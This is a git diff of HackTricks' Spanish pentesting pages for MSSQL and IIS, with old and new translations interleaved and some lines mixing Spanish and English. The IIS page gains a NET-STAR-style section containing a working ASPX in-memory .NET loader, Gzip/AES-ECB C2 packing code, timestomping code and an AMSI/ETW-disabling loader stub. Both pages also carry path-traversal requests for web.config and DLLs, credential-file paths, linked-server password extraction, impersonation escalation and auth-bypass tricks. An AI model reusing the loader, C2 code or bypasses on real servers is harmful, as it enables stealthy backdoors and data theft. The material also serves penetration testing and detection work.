### Suplantación de otros usuarios
### Impersonación de otros usuarios
SQL Server tiene un permiso especial, llamado **`IMPERSONATE`**, que **permite al usuario que ejecuta tomar las permisos de otro usuario** o inicio de sesión hasta que el contexto se restablezca o la sesión termine.
SQL Server tiene un permiso especial, llamado **`IMPERSONATE`**, que **permite al usuario que ejecuta asumir los permisos de otro usuario** o login hasta que se restablezca el contexto o termine la sesión.
```sql
# Find users you can impersonate
SELECT distinct b.name
@ -510,9 +544,9 @@ enum_links
use_link [NAME]
```
> [!TIP]
> Si puedes suplantar a un usuario, incluso si no es sysadmin, deberías verificar **si el usuario tiene acceso** a otras **bases de datos** o servidores vinculados.
> Si puedes impersonate a user, incluso si no es sysadmin, deberías comprobar i**f the user has access** a otras **databases** o linked servers.
Ten en cuenta que una vez que eres sysadmin, puedes suplantar a cualquier otro:
Nota que una vez que eres sysadmin puedes impersonate a cualquier otro:
```sql
-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
@ -526,35 +560,35 @@ Puedes realizar este ataque con un módulo de **metasploit**:
```bash
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
```
o con un script de **PS**:
o con un **PS** script:
```bash
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
```
## Usando MSSQL para Persistencia
## Using MSSQL for Persistence
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
## Extracción de contraseñas de Servidores Vinculados de SQL Server
## Extracting passwords from SQL Server Linked Servers
Un atacante puede extraer las contraseñas de los Servidores Vinculados de SQL Server de las Instancias SQL y obtenerlas en texto claro, otorgando al atacante contraseñas que pueden ser utilizadas para adquirir un mayor control sobre el objetivo. El script para extraer y desencriptar las contraseñas almacenadas para los Servidores Vinculados se puede encontrar [aquí](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
Un atacante puede extraer las contraseñas de SQL Server Linked Servers desde las instancias de SQL y obtenerlas en texto claro, otorgando al atacante credenciales que pueden usarse para adquirir una mayor presencia en el objetivo. El script para extraer y descifrar las contraseñas almacenadas para los Linked Servers se puede encontrar [here](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
Se deben realizar algunos requisitos y configuraciones para que esta explotación funcione. Primero que todo, debes tener derechos de Administrador en la máquina, o la capacidad de gestionar las Configuraciones de SQL Server.
Algunos requisitos y configuraciones deben realizarse para que este exploit funcione. Antes que nada, debes tener privilegios de administrador en la máquina, o la capacidad de gestionar las Configuraciones de SQL Server.
Después de validar tus permisos, necesitas configurar tres cosas, que son las siguientes:
1. Habilitar TCP/IP en las instancias de SQL Server;
2. Agregar un parámetro de Inicio, en este caso, se añadirá un flag de traza, que es -T7806.
3. Habilitar la conexión remota de administrador.
2. Agregar un parámetro de Start Up; en este caso se añadirá una trace flag, que es -T7806.
3. Habilitar la remote admin connection.
Para automatizar estas configuraciones, [este repositorio](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) tiene los scripts necesarios. Además de tener un script de powershell para cada paso de la configuración, el repositorio también tiene un script completo que combina los scripts de configuración y la extracción y desencriptación de las contraseñas.
Para automatizar estas configuraciones, [this repository ](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)has the needed scripts. Además de tener un script de PowerShell para cada paso de la configuración, el repositorio también incluye un script completo que combina los scripts de configuración y la extracción y descifrado de las contraseñas.
Para más información, consulta los siguientes enlaces sobre este ataque: [Desencriptando Contraseñas de Servidores Vinculados de MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
Para más información, consulta los siguientes enlaces sobre este ataque: [Decrypting MSSQL Database Link Server Passwords](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
[Solucionando problemas de la Conexión de Administrador Dedicado de SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
[Troubleshooting the SQL Server Dedicated Administrator Connection](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
## Escalación de Privilegios Local
## Local Privilege Escalation
El usuario que ejecuta el servidor MSSQL tendrá habilitado el token de privilegio **SeImpersonatePrivilege.**\
Probablemente podrás **escalar a Administrador** siguiendo una de estas 2 páginas:
@ -573,7 +607,19 @@ Probablemente podrás **escalar a Administrador** siguiendo una de estas 2 pági
- `port:1433 !HTTP`
## Referencias
## References
- [Unit 42 – Phantom Taurus: WMI-driven direct SQL collection via batch/sqlcmd](https://unit42.paloaltonetworks.com/phantom-taurus/)
- [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
- [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
- [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
- [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
- [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
- [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
- [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
- [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
- [https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
- [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
- [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
@ -585,7 +631,7 @@ Probablemente podrás **escalar a Administrador** siguiendo una de estas 2 pági
- [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
- [https://exploit7-tr.translate.goog/posts/sqlserver/?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
## Comandos Automáticos de HackTricks
## HackTricks Automatic Commands
```
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
Port_Number: 1433 #Comma separated if there is more than one.

234
src/network-services-pentesting/pentesting-web/iis-internet-information-services.md
View File

@ -2,21 +2,21 @@
{{#include ../../banners/hacktricks-training.md}}
Pruebe las extensiones de archivos ejecutables:
Test executable file extensions:
- asp
- aspx
- config
- php
## Divulgación de la dirección IP interna
## Divulgación de dirección IP interna
En cualquier servidor IIS donde obtenga un 302, puede intentar eliminar el encabezado Host y usar HTTP/1.0, y dentro de la respuesta, el encabezado Location podría señalarle la dirección IP interna:
En cualquier servidor IIS donde obtengas un 302 puedes intentar eliminar el Host header y usar HTTP/1.0; en la respuesta el Location header podría apuntar a la dirección IP interna:
```
nc -v domain.com 80
openssl s_client -connect domain.com:443
```
Respuesta revelando la IP interna:
Respuesta que revela la IP interna:
```
GET / HTTP/1.0
@ -29,11 +29,11 @@ X-FEServer: NHEXCHANGE2016
```
## Ejecutar archivos .config
Puedes subir archivos .config y usarlos para ejecutar código. Una forma de hacerlo es añadiendo el código al final del archivo dentro de un comentario HTML: [Descargar ejemplo aquí](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
You can upload .config files and use them to execute code. One way to do it is appending the code at the end of the file inside an HTML comment: [Download example here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
Más información y técnicas para explotar esta vulnerabilidad [aquí](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
Más información y técnicas para explotar esta vulnerabilidad [here](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
## Fuerza bruta de descubrimiento de IIS
## IIS Discovery Bruteforce
Descarga la lista que he creado:
@ -41,7 +41,7 @@ Descarga la lista que he creado:
iisfinal.txt
{{#endfile}}
Fue creada fusionando los contenidos de las siguientes listas:
Se creó fusionando el contenido de las siguientes listas:
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\
[http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\
@ -50,20 +50,20 @@ Fue creada fusionando los contenidos de las siguientes listas:
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
Úsala sin añadir ninguna extensión, los archivos que la necesitan ya la tienen.
Úsala sin añadir ninguna extensión; los archivos que la necesitan ya la tienen.
## Traversal de ruta
## Path Traversal
### Filtrando código fuente
### Leaking source code
Consulta el informe completo en: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
Check the full writeup in: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
> [!NOTE]
> Como resumen, hay varios archivos web.config dentro de las carpetas de la aplicación con referencias a archivos "**assemblyIdentity**" y "**namespaces**". Con esta información es posible saber **dónde están ubicados los ejecutables** y descargarlos.\
> A partir de los **Dlls descargados** también es posible encontrar **nuevos namespaces** donde deberías intentar acceder y obtener el archivo web.config para encontrar nuevos namespaces y assemblyIdentity.\
> [!TIP]
> En resumen, hay varios archivos web.config dentro de las carpetas de la aplicación con referencias a archivos "**assemblyIdentity**" y "**namespaces**". Con esta información es posible saber **dónde están ubicados los ejecutables** y descargarlos.\
> From the **downloaded Dlls** it's also possible to find **new namespaces** where you should try to access and get the web.config file in order to find new namespaces and assemblyIdentity.\
> Además, los archivos **connectionstrings.config** y **global.asax** pueden contener información interesante.
En **aplicaciones .Net MVC**, el archivo **web.config** juega un papel crucial al especificar cada archivo binario del que depende la aplicación a través de etiquetas XML **"assemblyIdentity"**.
En **.Net MVC applications**, el archivo **web.config** juega un papel crucial al especificar cada archivo binario del que depende la aplicación mediante etiquetas XML **"assemblyIdentity"**.
### **Explorando archivos binarios**
@ -72,41 +72,41 @@ Un ejemplo de acceso al archivo **web.config** se muestra a continuación:
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
```
Esta solicitud revela varias configuraciones y dependencias, tales como:
Esta solicitud revela varias configuraciones y dependencias, como:
- **EntityFramework** versión
- **AppSettings** para páginas web, validación de clientes y JavaScript
- Configuraciones de **System.web** para autenticación y tiempo de ejecución
- Configuraciones de módulos de **System.webServer**
- Vínculos de ensamblado de **Runtime** para numerosas bibliotecas como **Microsoft.Owin**, **Newtonsoft.Json** y **System.Web.Mvc**
- **AppSettings** para webpages, client validation y JavaScript
- **System.web** configuraciones para authentication y runtime
- **System.webServer** configuración de módulos
- **Runtime** assembly bindings para varias librerías como **Microsoft.Owin**, **Newtonsoft.Json**, y **System.Web.Mvc**
Estas configuraciones indican que ciertos archivos, como **/bin/WebGrease.dll**, se encuentran dentro de la carpeta /bin de la aplicación.
Estas configuraciones indican que ciertos archivos, como **/bin/WebGrease.dll**, están ubicados dentro de la carpeta /bin de la aplicación.
### **Archivos del Directorio Raíz**
### **Archivos en el directorio raíz**
Los archivos encontrados en el directorio raíz, como **/global.asax** y **/connectionstrings.config** (que contiene contraseñas sensibles), son esenciales para la configuración y operación de la aplicación.
Los archivos encontrados en el directorio raíz, como **/global.asax** y **/connectionstrings.config** (que contiene contraseñas sensibles), son esenciales para la configuración y el funcionamiento de la aplicación.
### **Namespaces y Web.Config**
### **Espacios de nombres y web.config**
Las aplicaciones MVC también definen archivos **web.config** adicionales para espacios de nombres específicos para evitar declaraciones repetitivas en cada archivo, como se demuestra con una solicitud para descargar otro **web.config**:
Las aplicaciones MVC también definen **archivos web.config** adicionales para espacios de nombres específicos para evitar declaraciones repetitivas en cada archivo, como se demuestra con una solicitud para descargar otro **web.config**:
```html
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
```
### **Descargando DLLs**
La mención de un espacio de nombres personalizado sugiere la presencia de una DLL llamada "**WebApplication1**" en el directorio /bin. A continuación, se muestra una solicitud para descargar la **WebApplication1.dll**:
La mención de un namespace personalizado sugiere una DLL llamada "**WebApplication1**" presente en el directorio /bin. A continuación se muestra una solicitud para descargar la **WebApplication1.dll**:
```html
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
```
Esto sugiere la presencia de otros DLLs esenciales, como **System.Web.Mvc.dll** y **System.Web.Optimization.dll**, en el directorio /bin.
Esto sugiere la presencia de otras DLLs esenciales, como **System.Web.Mvc.dll** y **System.Web.Optimization.dll**, en el directorio /bin.
En un escenario donde un DLL importa un espacio de nombres llamado **WebApplication1.Areas.Minded**, un atacante podría inferir la existencia de otros archivos web.config en rutas predecibles, como **/area-name/Views/**, que contienen configuraciones específicas y referencias a otros DLLs en la carpeta /bin. Por ejemplo, una solicitud a **/Minded/Views/web.config** puede revelar configuraciones y espacios de nombres que indican la presencia de otro DLL, **WebApplication1.AdditionalFeatures.dll**.
En un escenario donde una DLL importa un espacio de nombres llamado **WebApplication1.Areas.Minded**, un atacante podría inferir la existencia de otros archivos web.config en rutas predecibles, como **/area-name/Views/**, que contienen configuraciones específicas y referencias a otras DLLs en la carpeta /bin. Por ejemplo, una petición a **/Minded/Views/web.config** puede revelar configuraciones y espacios de nombres que indican la presencia de otra DLL, **WebApplication1.AdditionalFeatures.dll**.
### Archivos comunes
Desde [aquí](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
Desde [here](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
```
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
@ -183,65 +183,182 @@ C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
```
## HTTPAPI 2.0 Error 404
## HTTPAPI 2.0 404 Error
Si ves un error como el siguiente:
If you see an error like the following one:
![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
Significa que el servidor **no recibió el nombre de dominio correcto** dentro del encabezado Host.\
Para acceder a la página web, podrías echar un vistazo al **Certificado SSL** servido y tal vez puedas encontrar el nombre de dominio/subdominio allí. Si no está allí, es posible que necesites **fuerza bruta VHosts** hasta que encuentres el correcto.
Significa que el servidor **no recibió el nombre de dominio correcto** en el Host header.\
Para acceder a la página web puedes revisar el **SSL Certificate** servido y quizá encuentres ahí el nombre de dominio/subdominio. Si no está ahí, puede que necesites **brute force VHosts** hasta encontrar el correcto.
## Vulnerabilidades antiguas de IIS que vale la pena buscar
## Decrypt encrypted configuration and ASP.NET Core Data Protection key rings
### Vulnerabilidad/Característica del carácter tilde “\~” de Microsoft IIS – Divulgación de nombres de archivos/carpetas cortos
Two common patterns to protect secrets on IIS-hosted .NET apps are:
- ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) para secciones de web.config como <connectionStrings>.
- ASP.NET Core Data Protection key ring (persisted locally) usado para proteger secretos de la aplicación y cookies.
Puedes intentar **enumerar carpetas y archivos** dentro de cada carpeta descubierta (incluso si requiere Autenticación Básica) usando esta **técnica**.\
Si tienes acceso al sistema de archivos o acceso interactivo en el servidor web, las claves co-localizadas a menudo permiten el descifrado.
- ASP.NET (Full Framework) – descifra secciones de configuración protegidas con aspnet_regiis:
```cmd
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"
# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
```
- ASP.NET Core – buscar Data Protection key rings almacenados localmente (archivos XML/JSON) en ubicaciones como:
- %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
- HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
- App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)
Con el key ring disponible, un operador que se ejecute con la identidad de la app puede instanciar un IDataProtector con los mismos purposes y llamar a unprotect sobre los secretos almacenados. Las malas configuraciones que guardan el key ring junto con los archivos de la app hacen que la desencriptación offline sea trivial una vez que el host está comprometido.
## IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)
El toolkit Phantom Taurus/NET-STAR muestra un patrón maduro para fileless IIS persistence y post‑exploitation enteramente dentro de w3wp.exe. Las ideas centrales son ampliamente reutilizables para custom tradecraft y para detection/hunting.
Key building blocks
- ASPX bootstrapper hosting an embedded payload: una única página .aspx (p. ej., OutlookEN.aspx) contiene una .NET DLL codificada en Base64 y opcionalmente comprimida con Gzip. Al recibir una solicitud disparadora decodifica, descomprime y la carga reflectivamente en el AppDomain actual e invoca el punto de entrada principal (p. ej., ServerRun.Run()).
- Cookie‑scoped, encrypted C2 with multi‑stage packing: tareas/resultados se envuelven con Gzip → AES‑ECB/PKCS7 → Base64 y se transmiten mediante requests aparentemente legítimas con muchas cookies; los operadores usaban delimitadores estables (p. ej., "STAR") para fragmentar.
- Reflective .NET execution: acepta assemblies gestionados arbitrarios en Base64, los carga mediante Assembly.Load(byte[]) y pasa argumentos del operador para intercambios rápidos de módulos sin tocar el disco.
- Operating in precompiled ASP.NET sites: añadir/gestionar shells/backdoors auxiliares incluso cuando el sitio está precompilado (p. ej., el dropper agrega páginas/handlers dinámicos o aprovecha config handlers) – expuesto mediante comandos como bypassPrecompiledApp, addshell, listshell, removeshell.
- Timestomping/metadata forgery: exponer una acción changeLastModified y timestomp durante el despliegue (incluyendo timestamps de compilaciones futuras) para dificultar DFIR.
- Optional AMSI/ETW pre‑disable for loaders: un loader de segunda etapa puede deshabilitar AMSI y ETW antes de llamar a Assembly.Load para reducir la inspección de payloads en memoria.
Minimal ASPX loader pattern
```aspx
<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hard‑coded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>
```
Utilidades de empaquetado/criptografía (Gzip + AES‑ECB + Base64)
```csharp
using System.Security.Cryptography;
static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}
static string Pack(object obj, byte[] key){
// serialize → gzip → AES‑ECB → Base64
byte[] raw = Serialize(obj); // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}
static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}
```
Cookie/session flow and command surface
- El arranque de Session y la asignación de tareas se realizan mediante cookies para integrarse con la actividad web normal.
- Los comandos observados en entornos reales incluyeron: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; y primitivas de ejecución dinámicas code_self, code_pid, run_code para la ejecución en memoria de .NET.
Timestomping utility
```csharp
File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);
```
Deshabilitar AMSI/ETW inline antes de Assembly.Load (loader variant)
```csharp
// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });
```
Ver técnicas de AMSI/ETW bypass en: windows-hardening/av-bypass.md
Hunting notes (defenders)
- Página ASPX única y extraña con blobs muy largos Base64/Gzip; peticiones POST con muchas cookies.
- Módulos managed sin respaldo dentro de w3wp.exe; cadenas como Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run.
- Delimitadores repetidos como "STAR" en el tráfico; timestamps desajustados o incluso futuros en ASPX/assemblies.
## Old IIS vulnerabilities worth looking for
### Microsoft IIS tilde character “\~” Vulnerability/Feature – Short File/Folder Name Disclosure
Puedes intentar **enumerar carpetas y archivos** dentro de cada carpeta descubierta (incluso si requiere Basic Authentication) usando esta **technique**.\
La principal limitación de esta técnica si el servidor es vulnerable es que **solo puede encontrar hasta las primeras 6 letras del nombre de cada archivo/carpeta y las primeras 3 letras de la extensión** de los archivos.
Puedes usar [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) para probar esta vulnerabilidad:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
![](<../../images/image (844).png>)
Investigación original: [https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf)
Original research: [https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf)
También puedes usar **metasploit**: `use scanner/http/iis_shortname_scanner`
Una buena idea para **encontrar el nombre final** de los archivos descubiertos es **preguntar a LLMs** por opciones como se hace en el script [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)
Una buena idea para **encontrar el nombre final** de los archivos descubiertos es **preguntar a LLMs** por opciones, como se hace en el script [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)
### Bypass de autenticación básica
### Basic Authentication bypass
**Bypass** de una autenticación básica (**IIS 7.5**) intentando acceder a: `/admin:$i30:$INDEX_ALLOCATION/admin.php` o `/admin::$INDEX_ALLOCATION/admin.php`
**Bypass** a basic authentication (**IIS 7.5**) intentando acceder a: `/admin:$i30:$INDEX_ALLOCATION/admin.php` o `/admin::$INDEX_ALLOCATION/admin.php`
Puedes intentar **mezclar** esta **vulnerabilidad** y la anterior para encontrar nuevas **carpetas** y **eludir** la autenticación.
Puedes intentar **combinar** esta **vulnerability** con la anterior para encontrar nuevas **carpetas** y eludir la autenticación.
## Depuración habilitada de ASP.NET Trace.AXD
## ASP.NET Trace.AXD enabled debugging
ASP.NET incluye un modo de depuración y su archivo se llama `trace.axd`.
ASP.NET incluye un modo de depuración cuyo archivo se llama `trace.axd`.
Mantiene un registro muy detallado de todas las solicitudes realizadas a una aplicación durante un período de tiempo.
Mantiene un registro muy detallado de todas las solicitudes realizadas a una aplicación durante un periodo de tiempo.
Esta información incluye IPs de clientes remotos, IDs de sesión, todas las cookies de solicitud y respuesta, rutas físicas, información de código fuente y potencialmente incluso nombres de usuario y contraseñas.
Esta información incluye IPs remotas de clientes, IDs de sesión, todas las cookies de solicitud y respuesta, rutas físicas, información de código fuente y potencialmente incluso nombres de usuario y contraseñas.
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
![Screenshot 2021-03-30 at 13 19 11](https://user-images.githubusercontent.com/31736688/112974448-2690b000-915b-11eb-896c-f41c27c44286.png)
## Cookie ASPXAUTH
## ASPXAUTH Cookie
ASPXAUTH utiliza la siguiente información:
ASPXAUTH usa la siguiente información:
- **`validationKey`** (cadena): clave codificada en hex para usar en la validación de firma.
- **`decryptionMethod`** (cadena): (por defecto “AES”).
- **`decryptionIV`** (cadena): vector de inicialización codificado en hex (por defecto un vector de ceros).
- **`decryptionKey`** (cadena): clave codificada en hex para usar en la desencriptación.
- **`validationKey`** (string): clave codificada en hex para usar en la validación de la firma.
- **`decryptionMethod`** (string): (por defecto “AES”).
- **`decryptionIV`** (string): vector de inicialización codificado en hex (por defecto un vector de ceros).
- **`decryptionKey`** (string): clave codificada en hex para usar en la desencriptación.
Sin embargo, algunas personas usarán los **valores predeterminados** de estos parámetros y usarán como **cookie el correo electrónico del usuario**. Por lo tanto, si puedes encontrar un sitio web que use la **misma plataforma** que está utilizando la cookie ASPXAUTH y **creas un usuario con el correo electrónico del usuario que deseas suplantar** en el servidor bajo ataque, podrías ser capaz de **usar la cookie del segundo servidor en el primero** y suplantar al usuario.\
Sin embargo, algunas personas usarán los **valores por defecto** de estos parámetros y usarán como **cookie el email del usuario**. Por lo tanto, si puedes encontrar un sitio que use la **misma plataforma** y que utilice la ASPXAUTH cookie y **creas un usuario con el email del usuario que quieres suplantar** en el servidor bajo ataque, podrías ser capaz de usar la cookie del segundo servidor en el primero y suplantar al usuario.\
Este ataque funcionó en este [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
## Bypass de autenticación de IIS con contraseñas en caché (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
## IIS Authentication Bypass with cached passwords (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
[Informe completo aquí](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Un error en el código **no verificó correctamente la contraseña proporcionada por el usuario**, por lo que un atacante cuyo **hash de contraseña coincide con una clave** que ya está en la **caché** podrá iniciar sesión como ese usuario.
[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Un bug en el código **no comprobaba correctamente la contraseña proporcionada por el usuario**, así que un atacante cuya hash de contraseña coincida con una clave que ya esté en la **cache** podrá iniciar sesión como ese usuario.
```python
# script for sanity check
> type test.py
@ -261,4 +378,9 @@ HTTP/1.1 401 Unauthorized
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
```
## Referencias
- [Unit 42 – Phantom Taurus: A New Chinese Nexus APT and the Discovery of the NET-STAR Malware Suite](https://unit42.paloaltonetworks.com/phantom-taurus/)
- [AMSI/ETW bypass background (HackTricks)](../../windows-hardening/av-bypass.md)
